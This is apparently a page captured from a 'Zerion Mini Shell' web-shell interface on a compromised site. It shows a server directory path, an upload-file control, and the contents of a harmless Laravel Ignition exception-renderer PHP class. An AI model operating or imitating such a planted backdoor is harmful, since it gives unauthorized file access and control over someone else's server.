ok

Mini Shell

Direktori : /home2/selectio/www/3-idiots/vendor/facade/ignition/src/ErrorPage/
Upload File :
Current File : /home2/selectio/www/3-idiots/vendor/facade/ignition/src/ErrorPage/IgnitionExceptionRenderer.php

<?php

namespace Facade\Ignition\ErrorPage;

use Illuminate\Contracts\Foundation\ExceptionRenderer;

/** @psalm-suppress UndefinedClass */
class IgnitionExceptionRenderer implements ExceptionRenderer
{
    /** @var \Facade\Ignition\ErrorPage\ErrorPageHandler */
    protected $errorPageHandler;

    public function __construct(ErrorPageHandler $errorPageHandler)
    {
        $this->errorPageHandler = $errorPageHandler;
    }

    public function render($throwable)
    {
        ob_start();

        $this->errorPageHandler->handle($throwable);

        return ob_get_clean();
    }
}

Zerion Mini Shell 1.0